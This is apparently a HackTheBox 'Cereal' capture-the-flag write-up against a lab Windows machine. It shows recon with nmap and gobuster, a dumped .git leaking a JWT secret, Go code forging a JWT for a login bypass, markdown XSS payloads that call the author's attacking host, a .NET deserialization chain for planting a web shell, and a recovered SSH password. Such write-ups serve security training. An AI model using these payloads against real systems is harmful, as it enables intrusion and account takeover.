HackTheBox - Cereal

HackTheBox - Cereal

Cereal is a hard difficulty Windows machine that features a misconfigured web server, which exposes source code of the currently hosted web application. Initial source code analysis revealed a deleted JWT secret that could be used to forge a JWT token and bypass the application’s login page. Another code analysis finds the web is vulnerable to a deserialization attack. There is also an XSS vulnerability in one of the packages used by the application. Chaining these vulnerabilities results in a shell access to the system.

Skills Learned

  • Code review
  • JWT authentication bypass
  • XSS exploitation
  • .NET deserialization
  • Exploit chain

Tools

Reconnaissance

Nmap

All TCP ports scan with nmap discovers three open ports: SSH on port 22, HTTP on port 80, and HTTP on port 443.

→ root@kali «cereal» «10.10.14.3» 
$ nmap -p- --min-rate 1000 --reason -oA nmap/10-tcp-allport-cereal 10.10.10.217
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-04 23:45 EDT

...<SNIP>...
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 127
80/tcp  open  http    syn-ack ttl 127
443/tcp open  https   syn-ack ttl 127

Nmap done: 1 IP address (1 host up) scanned in 118.08 seconds

I’ll run another scan with nmap ’s default scripts.

→ root@kali «cereal» «10.10.14.3» 
$ nmap -p 22,80,443 -sC -sV -oA nmap/10-tcp-allport-script 10.10.10.217
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-04 23:51 EDT

...<SNIP>...
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
|   256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_  256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp  open  http     Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://cereal.htb/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open  ssl/http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after:  2040-11-11T20:07:19
|_ssl-date: 2021-06-05T03:51:48+00:00; +5s from scanner time.
| tls-alpn: 
|_  http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 4s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.34 seconds

This time nmap found two hostnames from the SSL certificate: cereal.htb and source.cereal.htb.

I’ll add those hostnames to my /etc/hosts:

→ root@kali «cereal» «10.10.14.3» 
$ echo '10.10.10.217 cereal.htb source.cereal.htb' >> /etc/hosts

Enumeration

TCP 80

It redirects to the HTTPS.

TCP 443 - cereal.htb

Following the redirection ends up at a login form. I tried a few common credentials, but they didn’t work here.

image-20210605110703967

Inspecting the source reveals that this site is a react based application.

image-20210609080804206

If I track down the authentication process, this site store the authentication data in browser’s local storage with a key name of currentUser, but l’ll leave it for now.

image-20210609082429730

I also did a gobuster scan, but didn’t find anything useful.

TCP 443 - source.cereal.htb

Visiting source.cereal.htb shows a server error message of an ASP.net application:

image-20210605111410148

Nothing I can do with this page, but I’ll take note on the leaked file path:

  • C:\inetpub\source\default.aspx

Gobuster

gobuster scan discovers a git repository, and there is also an upload directory.

→ root@kali «cereal» «10.10.14.3» 
$ gobuster dir -u https://source.cereal.htb -k -w /opt/SecLists/Discovery/Web-Content/common.txt -x aspx,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://source.cereal.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              aspx,txt
[+] Timeout:                 10s
===============================================================
2021/06/05 00:52:32 Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD            (Status: 200) [Size: 23]
/Default.aspx         (Status: 500) [Size: 10090]
/aspnet_client        (Status: 301) [Size: 163] [--> https://source.cereal.htb/aspnet_client/]
/default.aspx         (Status: 500) [Size: 9727]                                              
/uploads              (Status: 301) [Size: 157] [--> https://source.cereal.htb/uploads/]      
                                                                                              
===============================================================
2021/06/05 00:54:41 Finished
===============================================================

Access to the .git and the uploads directory are forbidden.

→ root@kali «cereal» «10.10.14.3» 
$ curl -I -k http://source.cereal.htb/.git/ && curl -I -k http://source.cereal.htb/uploads/
HTTP/1.1 403 Forbidden
Content-Length: 1233
Content-Type: text/html
Server: Microsoft-IIS/10.0
X-Powered-By: Sugar
Date: Sat, 05 Jun 2021 05:01:25 GMT

HTTP/1.1 403 Forbidden
Content-Length: 1233
Content-Type: text/html
Server: Microsoft-IIS/10.0
X-Powered-By: Sugar
Date: Sat, 05 Jun 2021 05:08:16 GMT

But requesting files under .git directory are allowed.

→ root@kali «cereal» «10.10.14.3» 
$ curl -I -k http://source.cereal.htb/.git/HEAD
HTTP/1.1 200 OK
Content-Length: 23
Content-Type: text/plain
Last-Modified: Wed, 11 Nov 2020 20:09:34 GMT
Accept-Ranges: bytes
ETag: "adc1d19266b8d61:0"
Server: Microsoft-IIS/10.0
X-Powered-By: Sugar
Date: Sat, 05 Jun 2021 05:01:29 GMT

→ root@kali «cereal» «10.10.14.3» 
$ curl -s -k http://source.cereal.htb/.git/HEAD
ref: refs/heads/master

I’ll note the uploads directory.

Git

Dumping .git directory

With git-dumper, I could get all the files in that .git directory.

→ root@kali «cereal» «10.10.14.3» 
$ mkdir loot/source-cereal-git && ./git-dumper.py https://source.cereal.htb/.git loot/source-cereal-git 
[-] Testing https://source.cereal.htb/.git/HEAD [200]
[-] Testing https://source.cereal.htb/.git/ [403]
[-] Fetching common files
[-] Fetching https://source.cereal.htb/.gitignore [404]
[-] Fetching https://source.cereal.htb/.git/hooks/applypatch-msg.sample [404]
[-] Fetching https://source.cereal.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching https://source.cereal.htb/.git/description [200]
...<SNIP>...
[-] Finding refs/
[-] Fetching https://source.cereal.htb/.git/ORIG_HEAD [404]
[-] Fetching https://source.cereal.htb/.git/config [200]
[-] Fetching https://source.cereal.htb/.git/FETCH_HEAD [404]
[-] Fetching https://source.cereal.htb/.git/HEAD [200]
...<SNIP>...
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching https://source.cereal.htb/.git/objects/8f/2a1a88f15b9109e1f63e4e4551727bfb38eee5 [200]
...<SNIP>...
[-] Running git checkout .

Git History

I could see the history of this repository by issuing git log.

image-20210605121727689

Aside from the author’s names, one commit with the message “Security fixes” caught my attention.

I immediately run git diff 8f2a 7bd9 to compare the first commit with the security fixes and that reveals a deleted JWT secret.

image-20210609090452619

It looks like the security fixes include prevention against deserialization attacks which I’ll note that as well as the secret:

  • JWT secret: secretlhfIH&FY*#oysuflkhskjfhefesf

Source Code Analysis #1

I pointed my sh*tty explanation or at least how I understand it with // <== or # <== in the code snippet. Please, don’t bully me for this.

App Overview

The app consist of ASP.NET (back-end) and React (front-end).

→ root@kali «source-cereal-git» «10.10.14.3» git:(master) 
$ tree -L 1 --dirsfirst
.
├── ClientApp
├── Controllers
├── Migrations
├── Models
├── Pages
├── Properties
├── Services
├── ApplicationOptions.cs
├── appsettings.Development.json
├── appsettings.json
├── CerealContext.cs
├── Cereal.csproj
├── DownloadHelper.cs
├── ExtensionMethods.cs
├── IPAddressHandler.cs
├── IPRequirement.cs
├── Program.cs
└── Startup.cs

The source code of previously seen React app at cereal.htb is on the ClientApp folder.

Here is the overview of app execution flow:

Program.cs
 |
 v
Startup.cs  -> Loads appsettings.json
 |
 v
React client

Looking into the appsettings.js, I could obtain the following information:

  • There is IP whitelist
  • There are two rules that looks like limiting requests and it’ll reset after certain period. One of them is limiting a post request to an endpoint called /requests.
{
...<SNIP>...
  "AllowedHosts": "*",
  "ApplicationOptions": {
    "Whitelist": [ "127.0.0.1", "::1" ]
  },
  "IpRateLimiting": {
    "EnableEndpointRateLimiting": true,
    "StackBlockedRequests": false,
    "RealIpHeader": "X-Real-IP",
    "ClientIdHeader": "X-ClientId",
    "HttpStatusCode": 429,
    "IpWhitelist": [ "127.0.0.1", "::1" ],
    "EndpointWhitelist": [],
    "ClientWhitelist": [],
    "GeneralRules": [
      {
        "Endpoint": "post:/requests",
        "Period": "5m",
        "Limit": 2
      },
      {
        "Endpoint": "*",
        "Period": "5m",
        "Limit": 150
      }
    ]
  }
}

Authentication Vulnerability

Looking into the Startup.cs file, I could see there is a potential authentication bypass. On the following code snippet, the application clearly doesn’t validate the issuer and the audience of a JWT token, and this can raise a security issue.

...<SNIP>...
    var key = Encoding.ASCII.GetBytes("*");
    services.AddAuthentication(x =>
    {
        x.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
        x.DefaultChallengeScheme = JwtBearerDefaults.AuthenticationScheme;
    })
    .AddJwtBearer(x =>
    {
        x.RequireHttpsMetadata = false;
        x.SaveToken = true;
        x.TokenValidationParameters = new TokenValidationParameters
        {
            ValidateIssuerSigningKey = true,
            IssuerSigningKey = new SymmetricSecurityKey(key),
            ValidateIssuer = false, // <== No validation
            ValidateAudience = false // <== No validation
        };
    });
...<SNIP>...

The JWT token itself is forged at Services/UserService.cs:

public User Authenticate(string username, string password)
        {
            using (var db = new CerealContext())
            {
                var user = db.Users.Where(x => x.Username == username && x.Password == password).SingleOrDefault();

                // return null if user not found
                if (user == null)
                    return null;

                // authentication successful so generate jwt token
                var tokenHandler = new JwtSecurityTokenHandler();
                var key = Encoding.ASCII.GetBytes("*");
                var tokenDescriptor = new SecurityTokenDescriptor
                {
                    Subject = new ClaimsIdentity(new Claim[]
                    {
                        new Claim(ClaimTypes.Name, user.UserId.ToString())
                    }),
                    Expires = DateTime.UtcNow.AddDays(7),
                    SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
                };
                var token = tokenHandler.CreateToken(tokenDescriptor);
                user.Token = tokenHandler.WriteToken(token);

                return user.WithoutPassword();
            }

When the user attempts to authenticate, the code snippet above checks to see if the user’s credentials match those in the database. If the credentials match, the app will generate a JWT token for that user.

The user model is defined in here Models/User.cs. From here, I can assume each JWT token contains at least a user’s ID, expiration time (7 days), username, and token.

...<SNIP>...
    public class User
    {
        [Key]
        public int UserId { get; set; }
        [Required]
        public string Username { get; set; }
        [Required]
        public string Password { get; set; }
        public string Token { get; set; }
    }
...<SNIP>...

Interestingly, in ClientApp/src/LoginPage/LoginPage.jsx, the authentication process doesn’t look like it needs server/back-end validation, because it checks the browser’s local storage first.

It’ll ask the server if we press the login button (POST request).

...<SNIP>...
import { authenticationService } from '../_services'; // <==

class LoginPage extends React.Component {
    constructor(props) {
        super(props);

        // redirect to home if already logged in
        if (authenticationService.currentUserValue) {  // <==
            this.props.history.push('/'); 
        }
    }

    render() {
        return (
            <div>
                <h2>Login</h2>
...<SNIP>...

I could track the authenticationService.currentUserValue and it is defined in ClientApp/src/_services/authentication.service.jsx

const currentUserSubject = new BehaviorSubject(JSON.parse(localStorage.getItem('currentUser'))); // <==

export const authenticationService = {
    login,
    logout,
    currentUser: currentUserSubject.asObservable(),// <==
    get currentUserValue () { return currentUserSubject.value } // <==
};

Authentication Bypass

I could summarize the previous code analysis to these points:

  • As long as the browser’s local storage contains a key of currentUser which has JWT token in its value, the client app will logs the user in.
  • No other validation in JWT token except the user’s ID and expires date. (based on Services/UserService.cs)
  • Based on Models/User.cs, Services/UserService.cs, and ClientApp/src/_services/auth-header.js , the form of currentUser is something like this:
    • "currentUser" : "{ "userId": "0", "username": "name", "token": "JWT token"}".

And here are the tactics to bypass the login page:

  • Since there is no validation on the issuer, and I have the JWT secret key, I could forge my own JWT.
  • I’ll put the forged JWT token to browser’s local storage of cereal.htb with the key name of currentUser.
  • Simply refresh the page afterwards and see if it logs me in.

Forge JWT

To forge our own JWT, you could try jwtool, but I tried to forge my own JWT using Golang. Here is the code:

package main

import (
	"encoding/json"
	"fmt"
	"time"

	"github.com/dgrijalva/jwt-go"
)

type UserService interface {
	CreateToken(userID string) string
}

type jwtService struct {
	secretKey string
}

func (s *jwtService) CreateToken() string {
	claims := jwt.StandardClaims{
		ExpiresAt: time.Now().AddDate(0, 0, 7).UTC().Unix(),
	}

	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	t, err := token.SignedString([]byte(s.secretKey))
	if err != nil {
		panic(err)
	}
	return t
}

type User struct {
	UserId   string `json:"userId,omitempty"`
	Username string `json:"username,omitempty"`
	Token    string `json:"token,omitempty"`
}

func main() {
	jwt := &jwtService{}
	jwt.secretKey = "secretlhfIH&FY*#oysuflkhskjfhefesf"

	cu := User{
		UserId:   "1",
		Username: "iamf",
		Token:    jwt.CreateToken(),
	}

	currentUser, _ := json.Marshal(cu)
	fmt.Printf("%s", currentUser)
}

It produces the following output.

→ root@kali «cereal» «10.10.14.3»
$ go run main.go
{"userId":"1","username":"iamf","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MjM4MTgwMzh9.XAcgRqhpgyJARsBMEWg1UOlUeRnQU4bvbk1SpAv3vDM"}

Login

At https://cereal.htb, I’ll create a new local storage with a key name of currentUser and I’ll put the previous output as the key’s value. When I refresh the site, it logs me in.

image-20210609113605143

Input testing

When I submitted a URL which points to my attacking machine, I received a GET request coming from the Title field.

image-20210605163056142

Here how the request and the response looklike.

image-20210605183457568

Source Code Analysis #2

I decided to mix it with images hehe.

Deserialization Vulnerability

Looking into the request controller, Controllers/RequestsController.cs, it turns out that each Cereal Request (POST) sent is saved in database without validation.

image-20210609115652148

Actually, there is a client-side validation, but it could easily be bypassed with Burp repeater. For example, I could send a cereal request in different structure:

image-20210609122743196

The cereal database’s name can be found inside CerealContext.cs.

image-20210609120019771

Looking back into the request controller, there is a comment inside the Get function that points out about deserialization (previously seen upon comparing the commit logs):

...<SNIP>...
        [Authorize(Policy = "RestrictIP")]
        [HttpGet("{id}")]
        public IActionResult Get(int id)
        {
            using (var db = new CerealContext())
            {
                string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
                // Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
                if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
                {
                    return BadRequest(new { message = "The cereal police have been dispatched." });
                }
                var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
                {
                    TypeNameHandling = TypeNameHandling.Auto
                });
                return Ok(cereal.ToString());
            }
        }

The Get function can only be accessed if the request IP is in the whitelist (defined in appsettings.json ) and it takes one parameter called id (GET /requests/{id}).

[Authorize(Policy = "RestrictIP")]
[HttpGet("{id}")]

This line blocks the gadget classes used for .NET deserialization attack.

if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))

But, there is a class called DownloadHelper that has a function which can be used to send a download request:

...<SNIP>...
    public class DownloadHelper
    {
        private String _URL;
        private String _FilePath;
        public String URL
...<SNIP>...
        private void Download()
        {
            using (WebClient wc = new WebClient())
            {
                if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
                {
                    wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));
                }
            }
        }

I could use DownloadHelper class to download a web shell hosted on my machine by sending a serialized form of this class via the Cereal Request.

The problem here I couldn’t make a GET request to requests/{id} because there is an IP restriction policy.

XSS Vulnerability

When tracking down where the previous GET request came from, I found out that each Cereal Request sent lands on the admin page (AdminPage.jsx).

image-20210609114906150

And one of the app library used in the admin page called react-marked-down has an XSS vulnerability.

...<SNIP>...
<Accordion.Toggle as={Button} variant="link" eventKey={this.props.request.requestId} name="expand" id={this.props.request.requestId}>
    {requestData && requestData.title && typeof requestData.title == 'string' && 
        <MarkdownPreview markedOptions={{ sanitize: true }} value={requestData.title} /> // <==
...<SNIP>...

I could confirm the vulnerability with the following payload:

[XSS](javascript: document.write`<img src='http://10.10.14.3/iamf'/>`)

image-20210605212246743

With a few experiments, URL encoding seems to work as well

[XSS](javascript: document.write%28%22<img src='http://10.10.14.3/iamf'>%22%29)

Foothold

Shell as Sonny

Web Shell Upload via XSS and Deserialization

Putting it all together:

  • There is an uploads directory at https://source.cereal.htb/uploads/.
  • The gadget classes for deserialization attack are filtered, but there is one class called DownloadHelper that can be accessed and it has a download function.
  • There is a SSRF (not sure yet) in the Title section, which can be used along with the XSS vulnerability to bypass the IP restriction.

The tactics:

  • Serialized DownloadHelper class which contains a web shell URL that points to the attacking machine, and send it via the Cereal Request, note the ID.
  • Use XSS which bypasses the IP restriction, to make a GET request to cereal.htb/request/{the ID} to trigger the deserialization,
  • Confirms the web shell at https://cereal.source.htb/uploads/shell-name.aspx

I’ve made a script to chain these vulnerabilities (XSS, SSRF, and Deserialization). The results is as follow:

image-20210609125605658

That’s on different IP because I decided to ran the exploit again to make sure it’s still work XD

I can access my web shell on http://source.cereal.htb/uploads/iamf.aspx.

image-20210609125710180

SSH - sonny

A quick check on the web directory, I find the cereal.db at c:\inetpub\cereal\db\cereal.db and it contains a string that looks like a set of credentials.

image-20210609133307066

I tried it on SSH (sonny:mutual.madden.manner38974) and it worked.

→ root@kali «exploits» «10.10.14.2» 
$ ssh sonny@cereal.htb
sonny@cereal.htb's password: 
Microsoft Windows [Version 10.0.17763.1817]
(c) 2018 Microsoft Corporation. All rights reserved.

sonny@CEREAL C:\Users\sonny>dir desktop\ 
 Volume in drive C has no label.                   
 Volume Serial Number is C4EF-2153                 
                                                   
 Directory of C:\Users\sonny\desktop               
                                                   
11/16/2020  05:19 AM    <DIR>          .           
11/16/2020  05:19 AM    <DIR>          ..          
06/07/2021  09:59 PM                34 user.txt    
               1 File(s)             34 bytes      
               2 Dir(s)   7,621,619,712 bytes free 

References